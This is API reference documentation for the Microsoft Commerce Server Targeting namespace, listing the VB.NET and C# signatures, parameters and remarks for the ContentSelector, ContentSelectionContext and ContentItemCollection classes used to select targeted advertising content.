CommerceTargetingException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceTargetingException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite(Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


ContentItemCollection Class (BCL)

A ContentItemCollection class represents a set of rows in a ContentList object.

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Copies the dictionary objects to an array, starting at a particular array index.
Dispose | Releases resources used by this object.
GetEnumerator | Supports enumeration of the row dictionaries in the collection.

Public Instance Properties

Property | Description
Count | Gets the number of dictionaries (rows) contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized.
Item(Int32) | Indexer to retrieve a content item based on its item ID.
SyncRoot | Gets an object that can be used for synchronized access to the collection.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentItemCollection Methods (BCL)

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Copies the dictionary objects to an array, starting at a particular array index.
Dispose | Releases resources used by this object.
GetEnumerator | Supports enumeration of the row dictionaries in the collection.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


ContentItemCollection.CheckState Method (BCL)

Use this method to verify that the object has not already been disposed.

Definition

[Visual Basic .NET]
Protected Overridable Public Sub CheckState( _
)
[C#]
protected virtual void CheckState(
);

Remarks

Throws the ObjectDisposedException if the object has already been disposed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentItemCollection.CopyTo (Array, Int32) Method (BCL)

Use this method to copy the dictionary objects to an array, starting at a particular array index.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.
[C#]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.

Implements

System.Collections.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentItemCollection.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentItemCollection.Dispose(Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this object and optionally release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this was called from the Dispose method, False if called from the finalizer.
[C#]
disposing
True if this was called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the .NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentItemCollection.GetEnumerator Method (BCL)

Use this method to support enumeration of the row dictionaries in the collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

IEnumerator for enumerating the row dictionaries in the collection.

Implements

System.Collections.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentItemCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Gets the number of dictionaries (rows) contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized.
Item(Int32) | Indexer to retrieve a content item based on its item ID.
SyncRoot | Gets an object that can be used for synchronized access to the collection.


ContentItemCollection.Count Property (BCL)

The Count property is a read-only integer that gets the number of dictionaries (rows) contained in the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

The number of dictionaries (rows) contained in the collection.

Implements

System.Collections.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentItemCollection.IsSynchronized Property (BCL)

The IsSynchronized property is a read-only Boolean that indicates whether access to the collection is synchronized.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean that indicates whether access to the collection is synchronized.

Implements

System.Collections.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentItemCollection.Item Property (BCL)

The Item property is a read-only IDictionary that is retrieved based its item ID.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal contentItemID As System.Int32 _
) As Microsoft.CommerceServer.Runtime.IDictionary
[C#]
public Microsoft.CommerceServer.Runtime.IDictionary Item(
  System.Int32 contentItemID
) {get;}

Parameters

[Visual Basic .NET]
contentItemID
The item ID of the IDictionary to retrieve.
[C#]
contentItemID
The item ID of the IDictionary to retrieve.

Property Value

The value of the contentItemID parameter.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentItemCollection.SyncRoot Property (BCL)

The SyncRoot property is a read-only object that can be used for synchronized access to the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

An object that can be used for synchronized access to the collection.

Implements

System.Collections.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionContext Class (BCL)

Represents an application context for the Content Selection Framework content selection. For example, advertising and discounts each have their own ContentSelectionContext object to specify components such as the pipeline and the cache that should be used by the ContentSelector object.

Public Instance Constructor

Constructor | Description
ContentSelectionContext Constructor(String, ContentSelectionPipeline, ContentSelectionPipeline, String, String, ExpressionEvaluator, DebugContext) | Creates a new instance of the ContentSelectionContext class.

Public Instance Methods

Method | Description
GetEnumerator | Gets an enumerator for enumerating the keys in the dictionary of key/value pairs that this selection context object represents.
GetSelector | Gets a ContentSelector object that can be used to retrieve content using the current ContentSelectionContext object.

Public Instance Properties

Property | Description
Item(String) | Indexer used to get or set a value in the dictionary.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelectionContext Constructor (BCL)

Public Instance Constructor

Constructor | Description
ContentSelectionContext Constructor(String, ContentSelectionPipeline, ContentSelectionPipeline, String, String, ExpressionEvaluator, DebugContext) | Creates a new instance of the ContentSelectionContext class.

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelectionContext Constructor (String, ContentSelectionPipeline, ContentSelectionPipeline, String, String, ExpressionEvaluator, DebugContext) (BCL)

Use this method to create a new instance of the ContentSelectionContext class.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal name As System.String, _
  ByVal selectionPipeline As ContentSelectionPipeline, _
  ByVal eventPipeline As ContentSelectionPipeline, _
  ByVal cacheName As System.String, _
  ByVal redirectUrl As System.String, _
  ByVal expressionEvaluator As ExpressionEvaluator, _
  ByVal dbgContext As DebugContext _
)
[C#]
public ContentSelectionContext(
  System.String name,
  ContentSelectionPipeline selectionPipeline,
  ContentSelectionPipeline eventPipeline,
  System.String cacheName,
  System.String redirectUrl,
  ExpressionEvaluator expressionEvaluator,
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
name
The name of the ContentSelectionContext object. May not be null.
selectionPipeline
The Content Selection Framework (CSF) pipeline. May not be null.
eventPipeline
The event recording pipeline. May be null.
cacheName
The name of the cache that contains content for this selection application. May be null.
redirectUrl
The name of the URL to send events through for recording. May be null.
expressionEvaluator
The Expression Evaluator instance. May be null.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will be output to the user. May not be null.
[C#]
name
The name of the ContentSelectionContext object. May not be null.
selectionPipeline
The Content Selection Framework (CSF) pipeline. May not be null.
eventPipeline
The event recording pipeline. May be null.
cacheName
The name of the cache that contains content for this selection application. May be null.
redirectUrl
The name of the URL to send events through for recording. May be null.
expressionEvaluator
The Expression Evaluator instance. May be null.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will be output to the user. May not be null.

Remarks

Throws ArgumentNullException if any of the required parameters were passed as null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelectionContext Methods (BCL)

Public Instance Methods

Method | Description
GetEnumerator | Gets an enumerator for enumerating the keys in the dictionary of key/value pairs that this selection context object represents.
GetSelector | Gets a ContentSelector object that can be used to retrieve content using the current ContentSelectionContext object.

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelectionContext.GetEnumerator Method (BCL)

Use this method to get an enumerator for enumerating the keys in the dictionary of key/value pairs that this selection context object represents.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

An IEnumerator object for enumerating key names (strings) in the dictionary.

Implements

System.Collections.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelectionContext.GetSelector Method (BCL)

Use this method to get a ContentSelector object that can be used to retrieve content using the current ContentSelectionContext object.

Definition

[Visual Basic .NET]
Public Function GetSelector( _
) As ContentSelector
[C#]
public ContentSelector GetSelector(
);

Return Value

ContentSelector object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelectionContext Properties (BCL)

Public Instance Properties

Property | Description
Item(String) | Indexer used to get or set a value in the dictionary.

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelectionContext.Item Property (BCL)

The Item property is a read/write object that gets or set a value in the dictionary.

Definition

[Visual Basic .NET]
Public Property Item( _
  ByVal key As System.String _
) As System.Object
[C#]
public System.Object Item(
  System.String key
) {get; set;}

Parameters

[Visual Basic .NET]
key
The dictionary key of the value to get or set.
[C#]
key
The dictionary key of the value to get or set.

Property Value

Value of the dictionary to get or set.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelectionContextCollection Class (BCL)

Represents a collection of ContentSelectionContext objects.

Public Instance Constructor

Constructor | Description
ContentSelectionContextCollection Constructor | Creates a new instance of the ContentSelectionContextCollection class.

Public Instance Methods

Method | Description
Add(String, ContentSelectionContext) | Adds a ContentSelectionContext class to the collection.
CopyTo(Array, Int32) | Copies the resources to an array, starting at a particular array index.
GetEnumerator | Supports iteration over the collection.

Public Instance Properties

Property | Description
Count | Gets the number of elements contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized. This implementation always returns false.
Item(String) | Indexer to allow for accessing a ContentSelectionContext object by name.
SyncRoot | Gets an object that can be used to synchronize access to the collection. This implementation always returns a reference to the current object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionContextCollection Constructor (BCL)

Public Instance Constructor

Constructor | Description
ContentSelectionContextCollection Constructor | Creates a new instance of the ContentSelectionContextCollection class.


ContentSelectionContextCollection Constructor (BCL)

Use this method to create a new instance of the ContentSelectionContextCollection class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public ContentSelectionContextCollection(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionContextCollection Methods (BCL)

Public Instance Methods

Method | Description
Add(String, ContentSelectionContext) | Adds a ContentSelectionContext object to the collection.
CopyTo(Array, Int32) | Copies the resources to an array, starting at a particular array index.
GetEnumerator | Supports iteration over the collection.


ContentSelectionContextCollection.Add (String, ContentSelectionContext) Method (BCL)

Use this method to add a ContentSelectionContext object to the collection.

Definition

[Visual Basic .NET]
Public Sub Add( _
  ByVal name As System.String, _
  ByVal context As ContentSelectionContext _
)
[C#]
public void Add(
  System.String name,
  ContentSelectionContext context
);

Parameters

[Visual Basic .NET]
name
The name of the context to add. May not be null.
context
The ContentSelectionContext object. May not be null.
[C#]
name
The name of the context to add. May not be null.
context
The ContentSelectionContext object. May not be null.

Remarks

Throws ArgumentNullException if one of the required parameters was passed as null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionContextCollection.CopyTo (Array, Int32) Method (BCL)

Use this method to copy the resources to an array, starting at a particular array index.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.
[C#]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionContextCollection.GetEnumerator Method (BCL)

Use this method to support iteration over the collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

An enumerator for enumerating the values in the collection.

Implements

System.Collections.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionContextCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Gets the number of elements contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized. This implementation always returns false.
Item(String) | Indexer to allow for accessing a ContentSelectionContext object by name.
SyncRoot | Gets an object that can be used to synchronize access to the collection. This implementation always returns a reference to the current object.


ContentSelectionContextCollection.Count Property (BCL)

The Count property is a read-only integer that gets the number of elements contained in the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

The number of elements contained in the collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionContextCollection.IsSynchronized Property (BCL)

The IsSynchronized property is a read-only Boolean that indicates whether access to the collection is synchronized. This implementation always returns false.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean that indicates whether access to the collection is synchronized. This implementation always returns false.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionContextCollection.Item Property (BCL)

The Item property is a read-only ContentSelectionContext object that allows for accessing a ContentSelectionContext object by name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal name As System.String _
) As ContentSelectionContext
[C#]
public ContentSelectionContext Item(
  System.String name
) {get;}

Parameters

[Visual Basic .NET]
name
The name of the ContentSelectionContext object.
[C#]
name
The name of the ContentSelectionContext object.

Property Value

The value of the ContentSelectionContext object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelectionContextCollection.SyncRoot Property (BCL)

The SyncRoot property is a read-only object that can be used to synchronize access to the collection. This implementation always returns a reference to the current object.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

A reference to the current object.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ContentSelector Class (BCL)

Invokes Content Selection Framework (CSF) pipelines.

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GetContent | Primary method of the ContentSelector object. It sets up the Order and Pipe Context dictionaries and executes the CSF pipeline that selects content. The formatted content is returned in a StringCollection object.
GetEnumerator | Returns an enumerator allowing the keys of the ContentSelector dictionary to be enumerated.

Public Instance Properties

Property | Description
AllContentItems | Returns a ContentItemCollection object containing all of the content items that were retrieved from the cache during the last call to the GetContent method.
Item(String) | Gets or sets a value in the ContentSelector dictionary of name/value pairs.
ItemsRequested | Gets or sets the number of items desired for return from the GetContent method.
Name | Gets the name of the ContentSelector object, which is the same as the name of the ContentSelectionContext object that created this object.
PageHistory | Gets or sets a String that represents the history of ads already selected on the page.
Profiles | Gets the collection of profiles (Profiles or Commerce.IDictionary objects) that should be targeted when the GetContent method call is made.
SelectedContentItems | Returns a ContentItemCollection consisting of the raw content items that were last selected using the GetContent method.
Size | Gets or sets the size of the content that should be returned.
TraceMessages | Gets an array of StringCollection objects containing the trace messages that describe the scoring of the content items. This property will always return null if the TraceMode property is not set to True.
TraceMode | Gets or sets a Boolean that determines whether tracing of content item scoring should be enabled.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GetContent | Primary method of the ContentSelector object. It sets up the Order and Pipe Context dictionaries and executes the Content Selection Framework (CSF) pipeline that selects content. The formatted content is returned in a StringCollection object.
GetEnumerator | Returns an enumerator allowing the keys of the ContentSelector dictionary to be enumerated.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.CheckState Method (BCL)

Use this method to verify that the object has not already been disposed.

Definition

[Visual Basic .NET]
Protected Overridable Public Sub CheckState( _
)
[C#]
protected virtual void CheckState(
);

Remarks

Throws the ObjectDisposedException if the object has already been disposed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.Dispose(Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this object and optionally release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this was called from the Dispose method, False if called from the finalizer.
[C#]
disposing
True if this was called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the Microsoft .NET Framework Software Development Kit (SDK) documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.GetContent Method (BCL)

Use this method to set up the Order and Pipe Context dictionaries and execute the Content Selection Framework (CSF) pipeline that selects content. The formatted content is returned in a StringCollection object.

Definition

[Visual Basic .NET]
Public Function GetContent( _
) As System.Collections.Specialized.StringCollection
[C#]
public System.Collections.Specialized.StringCollection GetContent(
);

Return Value

A StringCollection object containing the formatted content.

Remarks

If the pipeline does not return any formatted content (if no content was available for selection or if no formatting component was configured in the CSF pipeline), then an empty StringCollection object is returned.

Throws a CommerceTargetingException if the profiles collection contains profiles other than User and TargetingContext.

For backward compatibility, if a profile named TargetingContext is passed in the collection, then the properties in the profile are copied to the ContentSelector dictionary, which is passed through the pipeline as a ContextProfile object. If a profile named User is provided, then the profile is passed through the pipeline as the ContextProfile.UserProfile object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.GetEnumerator Method (BCL)

Use this method to return an enumerator allowing the keys of the ContentSelector dictionary to be enumerated.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

An IEnumerator object.

Implements

System.Collection.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector Properties (BCL)

Public Instance Properties

Property | Description
AllContentItems | Returns a ContentItemCollection containing all of the content items that were retrieved from the cache during the last call to the GetContent method.
Item(String) | Gets or sets a value in the ContentSelector dictionary of name/value pairs.
ItemsRequested | Gets or sets the number of items desired for return from the GetContent method.
Name | Gets the name of the ContentSelector object, which is the same as the name of the ContentSelectionContext object that created this object.
PageHistory | Gets or sets a String that represents the history of ads already selected on the page.
Profiles | Gets the collection of profiles (Profiles or Commerce.IDictionary objects) that should be targeted when the GetContent method call is made.
SelectedContentItems | Returns a ContentItemCollection consisting of the raw content items that were last selected using the GetContent method.
Size | Gets or sets the size of the content that should be returned.
TraceMessages | Gets an array of StringCollection objects containing the trace messages that describe the scoring of the content items. This property will always return null if the TraceMode property is not set to True.
TraceMode | Gets or sets a Boolean that determines whether tracing of content item scoring should be enabled.

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.AllContentItems Property (BCL)

The AllContentItems property is a read-only ContentItemCollection containing all of the content items that were retrieved from the cache during the last call to the GetContent method.

Definition

[Visual Basic .NET]
Public ReadOnly Property AllContentItems As ContentItemCollection
[C#]
public ContentItemCollection AllContentItems {get;}

Property Value

A ContentItemCollection object containing all of the content items that were retrieved from the cache during the last call to GetContent.

Remarks

Returns an empty collection if the GetContent method was not called or if no content was retrieved from the cache.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.Item Property (BCL)

The Item property is a read/write object that gets or sets a value in the ContentSelector dictionary of name/value pairs.

Definition

[Visual Basic .NET]
Public Property Item( _
  ByVal key As System.String _
) As System.Object
[C#]
public System.Object Item(
  System.String key
) {get; set;}

Parameters

[Visual Basic .NET]
key
The name of the key to get or set.
[C#]
key
The name of the key to get or set.

Property Value

A value in the ContentSelector dictionary of name/value pairs.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.ItemsRequested Property (BCL)

The ItemsRequested property is a read/write integer that gets or sets the number of items desired for return from the GetContent method.

Definition

[Visual Basic .NET]
Public Property ItemsRequested As System.Int32
[C#]
public System.Int32 ItemsRequested {get; set;}

Property Value

The number of items desired for return from the GetContent method.

Remarks

When setting this property, you must use a value greater than or equal to zero. An ArgumentException is thrown if the value is outside of these bounds. The actual number of content items returned from the GetContent method may be less than this value. The default value is one (1).

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.Name Property (BCL)

The Name property is a read-only String that gets the name of the ContentSelector object, which is the same as the name of the ContentSelectionContext object that created this object.

Definition

[Visual Basic .NET]
Public ReadOnly Property Name As System.String
[C#]
public System.String Name {get;}

Property Value

The name of the ContentSelectionContext object that created this object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.PageHistory Property (BCL)

The PageHistory property is a read/write String that represents the history of ads already selected on the page.

Definition

[Visual Basic .NET]
Public Property PageHistory As System.String
[C#]
public System.String PageHistory {get; set;}

Property Value

A String that represents the history of ads already selected on the page.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.Profiles Property (BCL)

The Profiles property is a read-only TargetingProfileCollection object that gets the collection of profiles (Profiles or Commerce.IDictionary objects) that should be targeted when the GetContent method call is made.

Definition

[Visual Basic .NET]
Public ReadOnly Property Profiles As TargetingProfileCollection
[C#]
public TargetingProfileCollection Profiles {get;}

Property Value

The collection of profiles (Profile or Commerce.IDictionary objects) that should be targeted when the GetContent method call is made.

Remarks

Only the TargetingContext and User profiles are supported. An exception will be raised if any other profiles are added to the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.SelectedContentItems Property (BCL)

The SelectedContentItems property is a read-only ContentItemCollection consisting of the raw content items that were last selected using the GetContent method.

Definition

[Visual Basic .NET]
Public ReadOnly Property SelectedContentItems As ContentItemCollection
[C#]
public ContentItemCollection SelectedContentItems {get;}

Property Value

A ContentItemCollection object consisting of the raw content items that were last selected using the GetContent method.

Remarks

Returns an empty collection if the GetContent method was not called or if no content was selected.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form
